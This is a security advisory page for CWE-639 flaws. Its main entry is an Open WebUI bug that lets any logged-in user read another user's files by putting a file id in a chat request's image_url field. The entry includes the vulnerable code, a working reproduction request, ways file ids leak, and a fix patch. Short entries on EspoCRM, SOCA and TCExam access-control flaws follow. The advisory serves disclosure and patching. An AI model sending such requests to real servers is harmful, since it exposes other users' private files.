            file = await Files.get_file_by_id(url)        # <-- NO user_id filter
            if not file:
                return None
            file_path = await asyncio.to_thread(Storage.get_file, file.path)
            file_path = Path(file_path)
            if file_path.is_file():
                with open(file_path, 'rb') as image_file:
                    encoded_string = base64.b64encode(image_file.read()).decode('utf-8')
                    content_type = mimetypes.guess_type(file_path.name)[0] or (file.meta or {}).get('content_type')
                    ...
                    return f'data:{content_type};base64,{encoded_string}'

Files.get_file_by_id in models/files.py:161 does a bare db.get(File, id) -- no ownership filter. there is a separate Files.get_file_by_id_and_user_id at line 172 that does filter on user_id, and the file router uses has_access_to_file(id, 'read', user, db) at routers/files.py:626 etc. neither check exists on this path.

reproduction

As user A, upload any file (image works cleanly, pdf works if a vision-capable model is configured). Note the file id from the upload response, e.g. c7f1d8e3-....
As user B, POST to /api/v1/chat/completions with body:

{
  "model": "<any vision model>",
  "messages": [
    {
      "role": "user",
      "content": [
        {"type": "text", "text": "transcribe everything you can see in this image"},
        {"type": "image_url", "image_url": {"url": "c7f1d8e3-..."}}
      ]
    }
  ]
}

Server reads user A's file from disk, base64-encodes it, and sends to the LLM as user B's image attachment. LLM response contains the file content.

file id discovery

File ids are UUIDs and not enumerable directly, but they leak via:

shared chats / channels containing the original upload
knowledge base members can see ids of files contributed by others
a user who can read a folder index sees the file ids of files inside
chat history exports (/api/v1/chats/{id}) include file ids
the user themselves can be tricked into pasting / sharing an id (less likely)

impact

Any authenticated user can read any other user's file content (image and any file with an image-guess mimetype path) via this channel. Severity is bounded by what the LLM will accept in image_url -- in practice, image files work cleanly with any vision model; pdf / docx work with multi-modal providers that accept them.

suggested fix

Thread the authenticated user through to get_image_base64_from_url and resolve the file via Files.get_file_by_id_and_user_id(id, user.id) (or has_access_to_file(id, 'read', user, db) if shared-via-knowledge-base access is intended). Same pattern that's already used in routers/files.py:626 and elsewhere.

minimal patch sketch:

--- a/backend/open_webui/utils/files.py
+++ b/backend/open_webui/utils/files.py
@@ -57,7 +57,7 @@
-async def get_image_base64_from_url(url: str) -> Optional[str]:
+async def get_image_base64_from_url(url: str, user=None) -> Optional[str]:
     try:
         if url.startswith('http'):
             ...
         else:
-            file = await Files.get_file_by_id(url)
+            file = (await Files.get_file_by_id_and_user_id(url, user.id)
+                    if user is not None else None)
+            if file is None:
+                # fall back to access-grant check for shared files
+                file = await Files.get_file_by_id(url)
+                if file and not await has_access_to_file(url, 'read', user):
+                    return None

and pipe user through convert_url_images_to_base64(form_data, user) from the middleware caller. happy to send a PR once you confirm the fix shape you want.

variant note

this was found via patch-diffing existing advisories. the same bug class likely exists in any other site that calls Files.get_file_by_id without an adjacent has_access_to_file / get_file_by_id_and_user_id check. quick grep:

git grep -n 'Files\.get_file_by_id(' -- 'backend/open_webui/**'

worth a sweep across utils/ and routers/ for missed sites.

environment

Open-webui main branch as of commit 3660bc0 (2026-05-10). python 3.x backend. confirmed by reading the source; no instance stood up.

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54009"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:11:44Z",
    "nvd_published_at": "2026-06-23T18:18:06Z",
    "severity": "MODERATE"
  },
  "details": "## summary\n\n`POST /api/chat/completions` accepts an `image_url.url` value that, when it does NOT start with `http://`, `https://`, or `data:image/`, is interpreted as a file id and resolved against the global file table with no ownership check. An authenticated user can therefore set `image_url.url` to another user\u0027s file id, the server reads that file from disk, base64-encodes it, and injects the data URI into the LLM request. The user then prompts the LLM to describe / OCR the file and reads the content back.\n\nSame class as CVE-2026-44560 (RAG cross-user access) and the multiple `has_access_to_file` checks added in `routers/files.py` -- the auth boundary was tightened on the file router but not on this conversion path.\n\n## affected code\n\n`backend/open_webui/utils/middleware.py:2113-2150` -- `convert_url_images_to_base64`:\n\n```python\nasync def convert_url_images_to_base64(form_data):\n    messages = form_data.get(\u0027messages\u0027, [])\n    for message in messages:\n        content = message.get(\u0027content\u0027)\n        if not isinstance(content, list):\n            continue\n        new_content = []\n        for item in content:\n            if not isinstance(item, dict) or item.get(\u0027type\u0027) != \u0027image_url\u0027:\n                new_content.append(item)\n                continue\n            image_url = item.get(\u0027image_url\u0027, {}).get(\u0027url\u0027, \u0027\u0027)\n            if image_url.startswith(\u0027data:image/\u0027):\n                new_content.append(item)\n                continue\n            try:\n                base64_data = await get_image_base64_from_url(image_url)  # \u003c-- no `user` passed\n                if base64_data:\n                    new_content.append({\u0027type\u0027: \u0027image_url\u0027,\n                                        \u0027image_url\u0027: {\u0027url\u0027: base64_data}})\n```\n\ncalled from the main chat completion middleware at `middleware.py:2357`:\n\n```python\nform_data = await convert_url_images_to_base64(form_data)\n```\n\n`backend/open_webui/utils/files.py:57-95` -- `get_image_base64_from_url`:\n\n```python\nasync def get_image_base64_from_url(url: str) -\u003e Optional[str]:\n    try:\n        if url.startswith(\u0027http\u0027):\n            validate_url(url)\n            # ... SSRF-safe fetch with allow_redirects=AIOHTTP_CLIENT_ALLOW_REDIRECTS ...\n        else:\n            file = await Files.get_file_by_id(url)        # \u003c-- NO user_id filter\n            if not file:\n                return None\n            file_path = await asyncio.to_thread(Storage.get_file, file.path)\n            file_path = Path(file_path)\n            if file_path.is_file():\n                with open(file_path, \u0027rb\u0027) as image_file:\n                    encoded_string = base64.b64encode(image_file.read()).decode(\u0027utf-8\u0027)\n                    content_type = mimetypes.guess_type(file_path.name)[0] or (file.meta or {}).get(\u0027content_type\u0027)\n                    ...\n                    return f\u0027data:{content_type};base64,{encoded_string}\u0027\n```\n\n`Files.get_file_by_id` in `models/files.py:161` does a bare `db.get(File, id)` -- no ownership filter. there is a separate `Files.get_file_by_id_and_user_id` at line 172 that does filter on `user_id`, and the file router uses `has_access_to_file(id, \u0027read\u0027, user, db)` at `routers/files.py:626` etc. neither check exists on this path.\n\n## reproduction\n\n1. As user A, upload any file (image works cleanly, pdf works if a vision-capable model is configured). Note the file id from the upload response, e.g. `c7f1d8e3-...`.\n2. As user B, POST to `/api/v1/chat/completions` with body:\n\n```json\n{\n  \"model\": \"\u003cany vision model\u003e\",\n  \"messages\": [\n    {\n      \"role\": \"user\",\n      \"content\": [\n        {\"type\": \"text\", \"text\": \"transcribe everything you can see in this image\"},\n        {\"type\": \"image_url\", \"image_url\": {\"url\": \"c7f1d8e3-...\"}}\n      ]\n    }\n  ]\n}\n```\n\nServer reads user A\u0027s file from disk, base64-encodes it, and sends to the LLM as user B\u0027s image attachment. LLM response contains the file content.\n\n## file id discovery\n\nFile ids are UUIDs and not enumerable directly, but they leak via:\n\n- shared chats / channels containing the original upload\n- knowledge base members can see ids of files contributed by others\n- a user who can read a folder index sees the file ids of files inside\n- chat history exports (`/api/v1/chats/{id}`) include file ids\n- the user themselves can be tricked into pasting / sharing an id (less likely)\n\n## impact\n\nAny authenticated user can read any other user\u0027s file content (image and any file with an image-guess mimetype path) via this channel. Severity is bounded by what the LLM will accept in `image_url` -- in practice, image files work cleanly with any vision model; pdf / docx work with multi-modal providers that accept them.\n\n## suggested fix\n\nThread the authenticated user through to `get_image_base64_from_url` and resolve the file via `Files.get_file_by_id_and_user_id(id, user.id)` (or `has_access_to_file(id, \u0027read\u0027, user, db)` if shared-via-knowledge-base access is intended). Same pattern that\u0027s already used in `routers/files.py:626` and elsewhere.\n\nminimal patch sketch:\n\n```diff\n--- a/backend/open_webui/utils/files.py\n+++ b/backend/open_webui/utils/files.py\n@@ -57,7 +57,7 @@\n-async def get_image_base64_from_url(url: str) -\u003e Optional[str]:\n+async def get_image_base64_from_url(url: str, user=None) -\u003e Optional[str]:\n     try:\n         if url.startswith(\u0027http\u0027):\n             ...\n         else:\n-            file = await Files.get_file_by_id(url)\n+            file = (await Files.get_file_by_id_and_user_id(url, user.id)\n+                    if user is not None else None)\n+            if file is None:\n+                # fall back to access-grant check for shared files\n+                file = await Files.get_file_by_id(url)\n+                if file and not await has_access_to_file(url, \u0027read\u0027, user):\n+                    return None\n```\n\nand pipe `user` through `convert_url_images_to_base64(form_data, user)` from the middleware caller. happy to send a PR once you confirm the fix shape you want.\n\n## variant note\n\nthis was found via patch-diffing existing advisories. the same bug class likely exists in any other site that calls `Files.get_file_by_id` without an adjacent `has_access_to_file` / `get_file_by_id_and_user_id` check. quick grep:\n\n```\ngit grep -n \u0027Files\\.get_file_by_id(\u0027 -- \u0027backend/open_webui/**\u0027\n```\n\nworth a sweep across utils/ and routers/ for missed sites.\n\n## environment\n\nOpen-webui main branch as of commit `3660bc0` (2026-05-10). python 3.x backend. confirmed by reading the source; no instance stood up.",
  "id": "GHSA-wch8-mhj5-9frg",
  "modified": "2026-07-20T21:03:45Z",
  "published": "2026-06-17T14:11:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-wch8-mhj5-9frg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54009"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-wch8-mhj5-9frg"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/open-webui/PYSEC-2026-2766.yaml"
    },
    {
      "type": "WEB",
      "url": "https://pypi.org/project/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Cross-user file disclosure via /api/chat/completions image_url field"
}

GHSA-WCM6-243C-86F3

Vulnerability from github – Published: 2026-02-04 00:30 – Updated: 2026-07-10 15:31

Details

EspoCRM 5.8.5 contains an authentication vulnerability that allows attackers to access other user accounts by manipulating authorization headers. Attackers can decode and modify Basic Authorization and Espo-Authorization tokens to gain unauthorized access to administrative user information and privileges.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

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{
  "affected": [],
  "aliases": [
    "CVE-2020-37094"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-303",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-03T22:16:25Z",
    "severity": "HIGH"
  },
  "details": "EspoCRM 5.8.5 contains an authentication vulnerability that allows attackers to access other user accounts by manipulating authorization headers. Attackers can decode and modify Basic Authorization and Espo-Authorization tokens to gain unauthorized access to administrative user information and privileges.",
  "id": "GHSA-wcm6-243c-86f3",
  "modified": "2026-07-10T15:31:34Z",
  "published": "2026-02-04T00:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-37094"
    },
    {
      "type": "WEB",
      "url": "https://github.com/espocrm/espocrm/commit/b299220dd0c7acdaa1ed8be8ffd79c7985093c7a"
    },
    {
      "type": "WEB",
      "url": "https://www.espocrm.com"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/48376"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/espocrm-privilege-escalation"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/espocrm-two-factor-auth-bypass-via-auth-token-reuse-between-accounts-with-identical-passwords"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WCQX-PWQH-X4MJ

Vulnerability from github – Published: 2025-12-24 21:30 – Updated: 2025-12-24 21:30

Details

SOCA Access Control System 180612 contains multiple insecure direct object reference vulnerabilities that allow attackers to access sensitive user credentials. Attackers can retrieve authenticated and unauthenticated user password hashes and pins through unprotected endpoints like Get_Permissions_From_DB.php and Ac10_ReadSortCard.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [],
  "aliases": [
    "CVE-2018-25129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-24T20:15:46Z",
    "severity": "HIGH"
  },
  "details": "SOCA Access Control System 180612 contains multiple insecure direct object reference vulnerabilities that allow attackers to access sensitive user credentials. Attackers can retrieve authenticated and unauthenticated user password hashes and pins through unprotected endpoints like Get_Permissions_From_DB.php and Ac10_ReadSortCard.",
  "id": "GHSA-wcqx-pwqh-x4mj",
  "modified": "2025-12-24T21:30:30Z",
  "published": "2025-12-24T21:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25129"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/46832"
    },
    {
      "type": "WEB",
      "url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5517.php"
    },
    {
      "type": "WEB",
      "url": "http://www.socatech.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WCR9-PV3R-CX85

Vulnerability from github – Published: 2022-05-24 17:17 – Updated: 2024-04-04 02:50

Details

Improper Control of Resource Identifiers in TCExam 14.2.2 allows a remote, authenticated attacker to access test metadata for which they don't have permission.

Severity

4.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

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{
  "affected": [],
  "aliases": [
    "CVE-2020-5743"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-05-07T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Improper Control of Resource Identifiers in TCExam 14.2.2 allows a remote, authenticated attacker to access test metadata for which they don\u0027t have permission.",
  "id": "GHSA-wcr9-pv3r-cx85",
  "modified": "2024-04-04T02:50:43Z",
  "published": "2022-05-24T17:17:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5743"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/research/tra-2020-31"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

CWE-639

Authorization Bypass Through User-Controlled Key

GHSA-W9F8-GXF9-RHVW

Summary

Details

PoC

Impact

Suggested Fix

Disclosure

GHSA-W9F8-M526-H7FH

Summary

Description

Preconditions

Steps to Reproduce

Potential Impact

GHSA-W9GM-5X7R-8V42

GHSA-W9H3-3453-P323

GHSA-W9WH-97QP-XQ2V

GHSA-WCG8-G6M5-JGH5

GHSA-WCH8-MHJ5-9FRG

summary

affected code

reproduction

file id discovery

impact

suggested fix

variant note

environment

GHSA-WCM6-243C-86F3

GHSA-WCQX-PWQH-X4MJ

GHSA-WCR9-PV3R-CX85

Mitigation

Mitigation

Mitigation